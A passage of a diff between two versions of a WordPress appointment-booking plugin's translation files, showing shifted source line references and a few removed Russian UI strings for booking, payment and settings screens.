 msgid "Remove"
 msgstr ""
 
@@ -3138,7 +3128,7 @@
 
 #. Translators: %s: Location name, like "Barbershop".
 #: includes/fields/complex/TimetableField.php:241
-#: assets/js/edit-post.js:8815
+#: assets/js/edit-post.js:8816
 #, php-format,js-format
 msgctxt "Working at %s"
 msgid "at %s"
@@ -3464,11 +3454,11 @@
 
 #: includes/helpers/PriceCalculationHelper.php:50
 #: includes/helpers/PriceCalculationHelper.php:122
-#: assets/js/divi-modules.js:6056
+#: assets/js/divi-modules.js:6057
 #: assets/js/edit-post.js:1602
-#: assets/js/elementor-widgets.js:6056
-#: assets/js/gutenberg-blocks.js:6495
-#: assets/js/public.js:6056
+#: assets/js/elementor-widgets.js:6057
+#: assets/js/gutenberg-blocks.js:6496
+#: assets/js/public.js:6057
 msgctxt "Zero price"
 msgid "Free"
 msgstr ""
@@ -3553,33 +3543,33 @@
 msgid "You can add a new log message here and press Update to save it"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:49
+#: includes/metaboxes/booking/BookingPriceMetabox.php:50
 #: includes/post-types/CouponPostType.php:60
 #: templates/shortcodes/booking/sections/coupon-section.php:14
 msgid "Coupon"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:55
+#: includes/metaboxes/booking/BookingPriceMetabox.php:56
 msgid "Reserved Services"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:59
+#: includes/metaboxes/booking/BookingPriceMetabox.php:60
 #: includes/metaboxes/payment/PaymentDetailsMetabox.php:38
 msgid "Payment Details"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:65
+#: includes/metaboxes/booking/BookingPriceMetabox.php:66
 msgid "Booking Price"
 msgstr ""
 
 #. Translators: %d: Booking ID.
-#: includes/metaboxes/booking/BookingPriceMetabox.php:141
+#: includes/metaboxes/booking/BookingPriceMetabox.php:142
 #: includes/repositories/BookingRepository.php:113
 #, php-format
 msgid "Booking #%d"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:186
+#: includes/metaboxes/booking/BookingPriceMetabox.php:187
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:144
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:295
 msgid "Sorry, the selected time slot is already booked."
@@ -5483,10 +5473,10 @@
 msgstr ""
 
 #: templates/shortcodes/booking/step-booking.php:24
-#: assets/js/divi-modules.js:5645
-#: assets/js/elementor-widgets.js:5645
-#: assets/js/gutenberg-blocks.js:6084
-#: assets/js/public.js:5645
+#: assets/js/divi-modules.js:5646
+#: assets/js/elementor-widgets.js:5646
+#: assets/js/gutenberg-blocks.js:6085
+#: assets/js/public.js:5646
 msgid "Making a reservation..."
 msgstr ""
 
@@ -6199,203 +6189,203 @@
 msgstr ""
 
 #: assets/js/customers-page.js:497
-#: assets/js/divi-modules.js:6650
+#: assets/js/divi-modules.js:6651
 #: assets/js/edit-post.js:1100
-#: assets/js/elementor-widgets.js:6650
-#: assets/js/gutenberg-blocks.js:7089
-#: assets/js/public.js:6650
+#: assets/js/elementor-widgets.js:6651
+#: assets/js/gutenberg-blocks.js:7090
+#: assets/js/public.js:6651
 #: assets/js/settings-page.js:685
 #: assets/js/widgets-manage-page.js:2911
 msgid "Phone number is invalid."
 msgstr ""
 
-#: assets/js/divi-modules.js:5749
-#: assets/js/divi-modules.js:7633
-#: assets/js/elementor-widgets.js:5749
-#: assets/js/elementor-widgets.js:7633
-#: assets/js/gutenberg-blocks.js:6188
-#: assets/js/gutenberg-blocks.js:8072
-#: assets/js/public.js:5749
-#: assets/js/public.js:7633
+#: assets/js/divi-modules.js:5750
+#: assets/js/divi-modules.js:7634
+#: assets/js/elementor-widgets.js:5750
+#: assets/js/elementor-widgets.js:7634
+#: assets/js/gutenberg-blocks.js:6189
+#: assets/js/gutenberg-blocks.js:8073
+#: assets/js/public.js:5750
+#: assets/js/public.js:7634
 msgid "You will be redirected to a secure page to complete the payment."
 msgstr ""
 
-#: assets/js/divi-modules.js:5960
-#: assets/js/elementor-widgets.js:5960
-#: assets/js/gutenberg-blocks.js:6399
-#: assets/js/public.js:5960
+#: assets/js/divi-modules.js:5961
+#: assets/js/elementor-widgets.js:5961
+#: assets/js/gutenberg-blocks.js:6400
+#: assets/js/public.js:5961
 msgid "Subtotal"
 msgstr ""
 
 #. Translators: %s: Coupon code.
-#: assets/js/divi-modules.js:5970
-#: assets/js/elementor-widgets.js:5970
-#: assets/js/gutenberg-blocks.js:6409
-#: assets/js/public.js:5970
+#: assets/js/divi-modules.js:5971
+#: assets/js/elementor-widgets.js:5971
+#: assets/js/gutenberg-blocks.js:6410
+#: assets/js/public.js:5971
 #, js-format
 msgid "Coupon: %s"
 msgstr ""
 
-#: assets/js/divi-modules.js:5982
-#: assets/js/divi-modules.js:8135
-#: assets/js/divi-modules.js:8650
-#: assets/js/elementor-widgets.js:5982
-#: assets/js/elementor-widgets.js:8135
-#: assets/js/elementor-widgets.js:8650
-#: assets/js/gutenberg-blocks.js:6421
-#: assets/js/gutenberg-blocks.js:8574
-#: assets/js/gutenberg-blocks.js:9089
-#: assets/js/public.js:5982
-#: assets/js/public.js:8135
-#: assets/js/public.js:8650
+#: assets/js/divi-modules.js:5983
+#: assets/js/divi-modules.js:8136
+#: assets/js/divi-modules.js:8651
+#: assets/js/elementor-widgets.js:5983
+#: assets/js/elementor-widgets.js:8136
+#: assets/js/elementor-widgets.js:8651
+#: assets/js/gutenberg-blocks.js:6422
+#: assets/js/gutenberg-blocks.js:8575
+#: assets/js/gutenberg-blocks.js:9090
+#: assets/js/public.js:5983
+#: assets/js/public.js:8136
+#: assets/js/public.js:8651
 msgid "Total"
 msgstr ""
 
-#: assets/js/divi-modules.js:6005
-#: assets/js/elementor-widgets.js:6005
-#: assets/js/gutenberg-blocks.js:6444
-#: assets/js/public.js:6005
+#: assets/js/divi-modules.js:6006
+#: assets/js/elementor-widgets.js:6006
+#: assets/js/gutenberg-blocks.js:6445
+#: assets/js/public.js:6006
 msgid "Deposit"
 msgstr ""
 
-#: assets/js/divi-modules.js:6010
-#: assets/js/elementor-widgets.js:6010
-#: assets/js/gutenberg-blocks.js:6449
-#: assets/js/public.js:6010
+#: assets/js/divi-modules.js:6011
+#: assets/js/elementor-widgets.js:6011
+#: assets/js/gutenberg-blocks.js:6450
+#: assets/js/public.js:6011
 msgid "Paying now"
 msgstr ""
 
-#: assets/js/divi-modules.js:6548
-#: assets/js/elementor-widgets.js:6548
-#: assets/js/gutenberg-blocks.js:6987
-#: assets/js/public.js:6548
+#: assets/js/divi-modules.js:6549
+#: assets/js/elementor-widgets.js:6549
+#: assets/js/gutenberg-blocks.js:6988
+#: assets/js/public.js:6549
 msgid "Coupon code is empty."
 msgstr ""
 
-#: assets/js/divi-modules.js:6557
-#: assets/js/elementor-widgets.js:6557
-#: assets/js/gutenberg-blocks.js:6996
-#: assets/js/public.js:6557
+#: assets/js/divi-modules.js:6558
+#: assets/js/elementor-widgets.js:6558
+#: assets/js/gutenberg-blocks.js:6997
+#: assets/js/public.js:6558
 msgid "Coupon code applied successfully."
 msgstr ""
 
-#: assets/js/divi-modules.js:6559
-#: assets/js/elementor-widgets.js:6559
-#: assets/js/gutenberg-blocks.js:6998
-#: assets/js/public.js:6559
+#: assets/js/divi-modules.js:6560
+#: assets/js/elementor-widgets.js:6560
+#: assets/js/gutenberg-blocks.js:6999
+#: assets/js/public.js:6560
 msgid "Sorry, your booking is not eligible for this coupon."
 msgstr ""
 
 #. Translators: %s: Business name.
-#: assets/js/divi-modules.js:7563
-#: assets/js/elementor-widgets.js:7563
-#: assets/js/gutenberg-blocks.js:8002
-#: assets/js/public.js:7563
+#: assets/js/divi-modules.js:7564
+#: assets/js/elementor-widgets.js:7564
+#: assets/js/gutenberg-blocks.js:8003
+#: assets/js/public.js:7564
 #, js-format
 msgid "By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited."
 msgstr ""
 
-#: assets/js/divi-modules.js:7584
-#: assets/js/elementor-widgets.js:7584
-#: assets/js/gutenberg-blocks.js:8023
-#: assets/js/public.js:7584
+#: assets/js/divi-modules.js:7585
+#: assets/js/elementor-widgets.js:7585
+#: assets/js/gutenberg-blocks.js:8024
+#: assets/js/public.js:7585
 msgid "Credit or debit card"
 msgstr ""
 
-#: assets/js/divi-modules.js:7588
-#: assets/js/elementor-widgets.js:7588
-#: assets/js/gutenberg-blocks.js:8027
-#: assets/js/public.js:7588
+#: assets/js/divi-modules.js:7589
+#: assets/js/elementor-widgets.js:7589
+#: assets/js/gutenberg-blocks.js:8028
+#: assets/js/public.js:7589
 msgid "or"
 msgstr ""
 
-#: assets/js/divi-modules.js:7603
-#: assets/js/elementor-widgets.js:7603
-#: assets/js/gutenberg-blocks.js:8042
-#: assets/js/public.js:7603
+#: assets/js/divi-modules.js:7604
+#: assets/js/elementor-widgets.js:7604
+#: assets/js/gutenberg-blocks.js:8043
+#: assets/js/public.js:7604
 msgid "Select iDEAL Bank"
 msgstr ""
 
-#: assets/js/divi-modules.js:7618
-#: assets/js/elementor-widgets.js:7618
-#: assets/js/gutenberg-blocks.js:8057
-#: assets/js/public.js:7618
+#: assets/js/divi-modules.js:7619
+#: assets/js/elementor-widgets.js:7619
+#: assets/js/gutenberg-blocks.js:8058
+#: assets/js/public.js:7619
 msgid "IBAN"
 msgstr ""
 
-#: assets/js/divi-modules.js:7882
-#: assets/js/elementor-widgets.js:7882
-#: assets/js/gutenberg-blocks.js:8321
-#: assets/js/public.js:7882
+#: assets/js/divi-modules.js:7883
+#: assets/js/elementor-widgets.js:7883
+#: assets/js/gutenberg-blocks.js:8322
+#: assets/js/public.js:7883
 msgid "Payment methods"
 msgstr ""
 
-#: assets/js/divi-modules.js:8094
-#: assets/js/elementor-widgets.js:8094
-#: assets/js/gutenberg-blocks.js:8533
-#: assets/js/public.js:8094
+#: assets/js/divi-modules.js:8095
+#: assets/js/elementor-widgets.js:8095
+#: assets/js/gutenberg-blocks.js:8534
+#: assets/js/public.js:8095
 msgid "Card"
 msgstr ""
 
-#: assets/js/divi-modules.js:8349
-#: assets/js/elementor-widgets.js:8349
-#: assets/js/gutenberg-blocks.js:8788
-#: assets/js/public.js:8349
+#: assets/js/divi-modules.js:8350
+#: assets/js/elementor-widgets.js:8350
+#: assets/js/gutenberg-blocks.js:8789
+#: assets/js/public.js:8350
 msgid "SEPA Direct Debit"
 msgstr ""
 
-#: assets/js/divi-modules.js:8384
-#: assets/js/elementor-widgets.js:8384
-#: assets/js/gutenberg-blocks.js:8823
-#: assets/js/public.js:8384
+#: assets/js/divi-modules.js:8385
+#: assets/js/elementor-widgets.js:8385
+#: assets/js/gutenberg-blocks.js:8824
+#: assets/js/public.js:8385
 msgid "Bancontact"
 msgstr ""
 
-#: assets/js/divi-modules.js:8411
-#: assets/js/elementor-widgets.js:8411
-#: assets/js/gutenberg-blocks.js:8850
-#: assets/js/public.js:8411
+#: assets/js/divi-modules.js:8412
+#: assets/js/elementor-widgets.js:8412
+#: assets/js/gutenberg-blocks.js:8851
+#: assets/js/public.js:8412
 msgid "iDEAL"
 msgstr ""
 
-#: assets/js/divi-modules.js:8449
-#: assets/js/elementor-widgets.js:8449
-#: assets/js/gutenberg-blocks.js:8888
-#: assets/js/public.js:8449
+#: assets/js/divi-modules.js:8450
+#: assets/js/elementor-widgets.js:8450
+#: assets/js/gutenberg-blocks.js:8889
+#: assets/js/public.js:8450
 msgid "Giropay"
 msgstr ""
 
-#: assets/js/divi-modules.js:8476
-#: assets/js/elementor-widgets.js:8476
-#: assets/js/gutenberg-blocks.js:8915
-#: assets/js/public.js:8476
+#: assets/js/divi-modules.js:8477
+#: assets/js/elementor-widgets.js:8477
+#: assets/js/gutenberg-blocks.js:8916
+#: assets/js/public.js:8477
 msgid "SOFORT"
 msgstr ""
 
-#: assets/js/divi-modules.js:10130
-#: assets/js/edit-post.js:7677
-#: assets/js/elementor-widgets.js:10130
-#: assets/js/gutenberg-blocks.js:10569
-#: assets/js/public.js:10130
+#: assets/js/divi-modules.js:10131
+#: assets/js/edit-post.js:7678
+#: assets/js/elementor-widgets.js:10131
+#: assets/js/gutenberg-blocks.js:10570
+#: assets/js/public.js:10131
 msgid "Sorry, but we were unable to allocate time slots for the date you selected."
 msgstr ""
 
-#: assets/js/divi-modules.js:10777
-#: assets/js/elementor-widgets.js:10777
-#: assets/js/gutenberg-blocks.js:11216
-#: assets/js/public.js:10777
+#: assets/js/divi-modules.js:10778
+#: assets/js/elementor-widgets.js:10778
+#: assets/js/gutenberg-blocks.js:11217
+#: assets/js/public.js:10778
 msgid "Sorry, there are no services, employees or locations to book."
 msgstr ""
 
 #. Translators: %s: Checkbox label.
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3220
 #: assets/js/widgets-manage-page.js:2976
 #, js-format
 msgid "To enable this option, you need to check the '%s' box."
 msgstr ""
 
-#: assets/js/edit-post.js:9006
+#: assets/js/edit-post.js:9007
 #: assets/js/gutenberg-blocks.js:3238
 #: assets/js/widgets-manage-page.js:2977
 msgid "To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here."
@@ -6405,18 +6395,18 @@
 msgid "Colors"
 msgstr ""
 
-#: assets/js/gutenberg-blocks.js:11400
-#: assets/js/gutenberg-blocks.js:11710
-#: assets/js/gutenberg-blocks.js:11981
-#: assets/js/gutenberg-blocks.js:12284
-#: assets/js/gutenberg-blocks.js:12638
-#: assets/js/gutenberg-blocks.js:12761
-#: assets/js/gutenberg-blocks.js:12884
-#: assets/js/gutenberg-blocks.js:13007
-#: assets/js/gutenberg-blocks.js:13130
-#: assets/js/gutenberg-blocks.js:13253
-#: assets/js/gutenberg-blocks.js:13376
-#: assets/js/gutenberg-blocks.js:13499
-#: assets/js/gutenberg-blocks.js:13622
+#: assets/js/gutenberg-blocks.js:11401
+#: assets/js/gutenberg-blocks.js:11711
+#: assets/js/gutenberg-blocks.js:11982
+#: assets/js/gutenberg-blocks.js:12285
+#: assets/js/gutenberg-blocks.js:12639
+#: assets/js/gutenberg-blocks.js:12762
+#: assets/js/gutenberg-blocks.js:12885
+#: assets/js/gutenberg-blocks.js:13008
+#: assets/js/gutenberg-blocks.js:13131
+#: assets/js/gutenberg-blocks.js:13254
+#: assets/js/gutenberg-blocks.js:13377
+#: assets/js/gutenberg-blocks.js:13500
+#: assets/js/gutenberg-blocks.js:13623
 msgid "appointment"
 msgstr ""
Binary files /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-ru_RU.mo and /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-ru_RU.mo differ
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-ru_RU.po /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-ru_RU.po
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-ru_RU.po	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-ru_RU.po	2026-06-30 15:16:08.000000000 +0000
@@ -176,16 +176,6 @@
 msgid "Help"
 msgstr ""
 
-#: includes/admin-pages/custom/SettingsPage.php:199
-msgid "Settings saved."
-msgstr "Настройки сохранены"
-
-#: includes/admin-pages/custom/SettingsPage.php:265
-msgid "Save Changes"
-msgstr "Сохранить изменения"
-
-#: includes/admin-pages/custom/SettingsPage.php:400
-#: includes/admin-pages/custom/SettingsPage.php:409
 #: includes/elementor/widgets/AppointmentFormWidget.php:71
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:35
 #: includes/elementor/widgets/EmployeeContactsWidget.php:35
@@ -202,18 +192,18 @@
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:26
 #: templates/private/pages/wizard.php:12
 #: assets/js/gutenberg-blocks.js:3245
-#: assets/js/gutenberg-blocks.js:11506
-#: assets/js/gutenberg-blocks.js:11801
-#: assets/js/gutenberg-blocks.js:12087
-#: assets/js/gutenberg-blocks.js:12405
-#: assets/js/gutenberg-blocks.js:12686
-#: assets/js/gutenberg-blocks.js:12809
-#: assets/js/gutenberg-blocks.js:12932
-#: assets/js/gutenberg-blocks.js:13055
-#: assets/js/gutenberg-blocks.js:13178
-#: assets/js/gutenberg-blocks.js:13301
-#: assets/js/gutenberg-blocks.js:13424
-#: assets/js/gutenberg-blocks.js:13547
+#: assets/js/gutenberg-blocks.js:11507
+#: assets/js/gutenberg-blocks.js:11802
+#: assets/js/gutenberg-blocks.js:12088
+#: assets/js/gutenberg-blocks.js:12406
+#: assets/js/gutenberg-blocks.js:12687
+#: assets/js/gutenberg-blocks.js:12810
+#: assets/js/gutenberg-blocks.js:12933
+#: assets/js/gutenberg-blocks.js:13056
+#: assets/js/gutenberg-blocks.js:13179
+#: assets/js/gutenberg-blocks.js:13302
+#: assets/js/gutenberg-blocks.js:13425
+#: assets/js/gutenberg-blocks.js:13548
 msgid "Settings"
 msgstr "Настройки"
 
@@ -232,27 +222,27 @@
 msgid "Filtered bookings for customer"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:486
+#: includes/admin-pages/manage/ManageBookingsPage.php:494
 msgid "All Services"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:511
+#: includes/admin-pages/manage/ManageBookingsPage.php:519
 msgid "All Employees"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:536
+#: includes/admin-pages/manage/ManageBookingsPage.php:544
 msgid "All Locations"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:573
+#: includes/admin-pages/manage/ManageBookingsPage.php:581
 msgid "Export"
 msgstr "Экспорт"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:574
+#: includes/admin-pages/manage/ManageBookingsPage.php:582
 msgid "Cancel Export"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:595
+#: includes/admin-pages/manage/ManageBookingsPage.php:603
 #: includes/admin-pages/manage/ManageNotificationsPage.php:156
 #: includes/admin-pages/manage/ManagePaymentsPage.php:72
 #: includes/fields/complex/LicenseSettingsField.php:79
@@ -262,7 +252,7 @@
 msgid "Status"
 msgstr "Статус"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:596
+#: includes/admin-pages/manage/ManageBookingsPage.php:604
 #: includes/admin-pages/manage/ManageNotificationsPage.php:214
 #: includes/list-tables/emails/CustomerEmailsListTable.php:32
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:86
@@ -271,7 +261,7 @@
 msgid "Customer"
 msgstr "Клиент"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:594
+#: includes/admin-pages/manage/ManageBookingsPage.php:602
 #: includes/admin-pages/manage/ManageServicesPage.php:23
 #: includes/divi/modules/ServicesListModule.php:159
 #: includes/elementor/widgets/ServicesListWidget.php:193
@@ -283,11 +273,11 @@
 #: templates/service/price.php:19
 #: templates/shortcodes/booking/step-admin-cart.php:36
 #: templates/shortcodes/booking/step-cart.php:64
-#: assets/js/gutenberg-blocks.js:12559
+#: assets/js/gutenberg-blocks.js:12560
 msgid "Price"
 msgstr "Цена"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/admin-pages/manage/ManageEmployeesPage.php:149
 #: includes/divi/modules/ServicesListModule.php:97
 #: includes/elementor/widgets/ServicesListWidget.php:113
@@ -297,11 +287,11 @@
 #: includes/post-types/ServicePostType.php:117
 #: assets/js/analytics-page.js:33399
 #: assets/js/calendar-page.js:45376
-#: assets/js/gutenberg-blocks.js:12464
+#: assets/js/gutenberg-blocks.js:12465
 msgid "Services"
 msgstr "Услуги"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/crons/ExportBookingsCron.php:354
 #: includes/divi/modules/AppointmentFormModule.php:64
 #: includes/divi/modules/AppointmentFormModule.php:126
@@ -321,14 +311,14 @@
 #: templates/shortcodes/booking/step-admin-cart.php:33
 #: templates/shortcodes/booking/step-service-form.php:102
 #: assets/js/calendar-page.js:38165
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3256
 #: assets/js/gutenberg-blocks.js:3303
 #: assets/js/widgets-manage-page.js:2976
 msgid "Service"
 msgstr "Услуга"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/divi/modules/EmployeesListModule.php:87
 #: includes/divi/modules/ServicesListModule.php:103
 #: includes/elementor/widgets/EmployeesListWidget.php:104
@@ -341,12 +331,12 @@
 #: includes/post-types/EmployeePostType.php:52
 #: assets/js/analytics-page.js:33437
 #: assets/js/calendar-page.js:45414
-#: assets/js/gutenberg-blocks.js:11557
-#: assets/js/gutenberg-blocks.js:12473
+#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:12474
 msgid "Employees"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/admin-pages/manage/ManageNotificationsPage.php:210
 #: includes/admin-pages/manage/ManageSchedulesPage.php:134
 #: includes/divi/modules/AppointmentFormModule.php:140
@@ -376,14 +366,14 @@
 msgid "Employee"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:592
+#: includes/admin-pages/manage/ManageBookingsPage.php:600
 #: includes/crons/ExportBookingsCron.php:358
 #: templates/shortcodes/booking/step-admin-cart.php:38
 msgid "Time"
 msgstr "Время"
 
 #. Translators: %s: Paid amount.
-#: includes/admin-pages/manage/ManageBookingsPage.php:695
+#: includes/admin-pages/manage/ManageBookingsPage.php:703
 #, php-format
 msgid "Paid: %s"
 msgstr "Оплачено: %s"
@@ -780,7 +770,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:68
 #: includes/shortcodes/AppointmentFormShortcode.php:94
 #: includes/widgets/AppointmentFormWidget.php:191
-#: assets/js/edit-post.js:9055
+#: assets/js/edit-post.js:9056
 #: assets/js/gutenberg-blocks.js:3333
 #: assets/js/widgets-manage-page.js:3069
 msgid "— Select —"
@@ -1068,7 +1058,7 @@
 msgid "The customer didn't complete the payment in time."
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:589
+#: includes/admin-pages/manage/ManageBookingsPage.php:597
 #: includes/admin-pages/manage/ManagePaymentsPage.php:71
 #: includes/crons/ExportBookingsCron.php:347
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:27
@@ -1087,14 +1077,14 @@
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:43
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:44
 #: includes/elementor/widgets/EmployeeTitleWidget.php:44
-#: assets/js/gutenberg-blocks.js:12689
-#: assets/js/gutenberg-blocks.js:12812
-#: assets/js/gutenberg-blocks.js:12935
-#: assets/js/gutenberg-blocks.js:13058
-#: assets/js/gutenberg-blocks.js:13181
-#: assets/js/gutenberg-blocks.js:13304
-#: assets/js/gutenberg-blocks.js:13427
-#: assets/js/gutenberg-blocks.js:13550
+#: assets/js/gutenberg-blocks.js:12690
+#: assets/js/gutenberg-blocks.js:12813
+#: assets/js/gutenberg-blocks.js:12936
+#: assets/js/gutenberg-blocks.js:13059
+#: assets/js/gutenberg-blocks.js:13182
+#: assets/js/gutenberg-blocks.js:13305
+#: assets/js/gutenberg-blocks.js:13428
+#: assets/js/gutenberg-blocks.js:13551
 msgid "ID"
 msgstr "ID"
 
@@ -1131,7 +1121,7 @@
 msgid "Employee name"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:591
+#: includes/admin-pages/manage/ManageBookingsPage.php:599
 #: includes/crons/ExportBookingsCron.php:357
 #: templates/shortcodes/booking/step-admin-cart.php:37
 #: templates/shortcodes/template-parts/booking-details.php:99
@@ -1206,7 +1196,7 @@
 #: includes/shortcodes/AppointmentFormShortcode.php:32
 #: includes/widgets/AppointmentFormWidget.php:32
 #: includes/widgets/AppointmentFormWidget.php:139
-#: assets/js/gutenberg-blocks.js:11358
+#: assets/js/gutenberg-blocks.js:11359
 msgid "Appointment Form"
 msgstr ""
 
@@ -1454,7 +1444,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:76
 #: includes/shortcodes/AppointmentFormShortcode.php:100
 #: includes/widgets/AppointmentFormWidget.php:198
-#: assets/js/edit-post.js:9057
+#: assets/js/edit-post.js:9058
 #: assets/js/gutenberg-blocks.js:3202
 #: assets/js/gutenberg-blocks.js:3204
 #: assets/js/gutenberg-blocks.js:3205
@@ -1468,7 +1458,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:146
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:79
 #: includes/shortcodes/ServicesListShortcode.php:91
-#: assets/js/gutenberg-blocks.js:12492
+#: assets/js/gutenberg-blocks.js:12493
 msgid "Comma-separated slugs or IDs of tags that will be shown."
 msgstr ""
 
@@ -1545,7 +1535,7 @@
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:20
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeAdditionalInfoShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13604
+#: assets/js/gutenberg-blocks.js:13605
 msgid "Employee Additional Information"
 msgstr ""
 
@@ -1566,49 +1556,49 @@
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:47
 #: includes/elementor/widgets/EmployeeTitleWidget.php:47
 #: includes/shortcodes/single-employee/AbstractSingleEmployeeShortcode.php:25
-#: assets/js/gutenberg-blocks.js:12690
-#: assets/js/gutenberg-blocks.js:12813
-#: assets/js/gutenberg-blocks.js:12936
-#: assets/js/gutenberg-blocks.js:13059
-#: assets/js/gutenberg-blocks.js:13182
-#: assets/js/gutenberg-blocks.js:13305
-#: assets/js/gutenberg-blocks.js:13428
-#: assets/js/gutenberg-blocks.js:13551
+#: assets/js/gutenberg-blocks.js:12691
+#: assets/js/gutenberg-blocks.js:12814
+#: assets/js/gutenberg-blocks.js:12937
+#: assets/js/gutenberg-blocks.js:13060
+#: assets/js/gutenberg-blocks.js:13183
+#: assets/js/gutenberg-blocks.js:13306
+#: assets/js/gutenberg-blocks.js:13429
+#: assets/js/gutenberg-blocks.js:13552
 msgid "Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise."
 msgstr ""
 
 #: includes/divi/modules/EmployeeContactsModule.php:20
 #: includes/elementor/widgets/EmployeeContactsWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContactsShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13358
+#: assets/js/gutenberg-blocks.js:13359
 msgid "Employee Contact Information"
 msgstr ""
 
 #: includes/divi/modules/EmployeeContentModule.php:20
 #: includes/elementor/widgets/EmployeeContentWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContentShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13235
+#: assets/js/gutenberg-blocks.js:13236
 msgid "Employee Content"
 msgstr ""
 
 #: includes/divi/modules/EmployeeImageModule.php:20
 #: includes/elementor/widgets/EmployeeImageWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeImageShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12743
+#: assets/js/gutenberg-blocks.js:12744
 msgid "Employee Image"
 msgstr ""
 
 #: includes/divi/modules/EmployeeScheduleModule.php:20
 #: includes/elementor/widgets/EmployeeScheduleWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeScheduleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13112
+#: assets/js/gutenberg-blocks.js:13113
 msgid "Employee Schedule"
 msgstr ""
 
 #: includes/divi/modules/EmployeeServicesListModule.php:20
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12989
+#: assets/js/gutenberg-blocks.js:12990
 msgid "Employee Services List"
 msgstr ""
 
@@ -1616,7 +1606,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:25
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:29
 #: includes/shortcodes/EmployeesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11692
+#: assets/js/gutenberg-blocks.js:11693
 msgid "Employees List"
 msgstr ""
 
@@ -1632,10 +1622,10 @@
 #: includes/shortcodes/LocationsListShortcode.php:41
 #: includes/shortcodes/ServiceCategoriesShortcode.php:43
 #: includes/shortcodes/ServicesListShortcode.php:41
-#: assets/js/gutenberg-blocks.js:11509
-#: assets/js/gutenberg-blocks.js:11804
-#: assets/js/gutenberg-blocks.js:12090
-#: assets/js/gutenberg-blocks.js:12408
+#: assets/js/gutenberg-blocks.js:11510
+#: assets/js/gutenberg-blocks.js:11805
+#: assets/js/gutenberg-blocks.js:12091
+#: assets/js/gutenberg-blocks.js:12409
 msgid "Show featured image."
 msgstr ""
 
@@ -1648,9 +1638,9 @@
 #: includes/shortcodes/EmployeesListShortcode.php:46
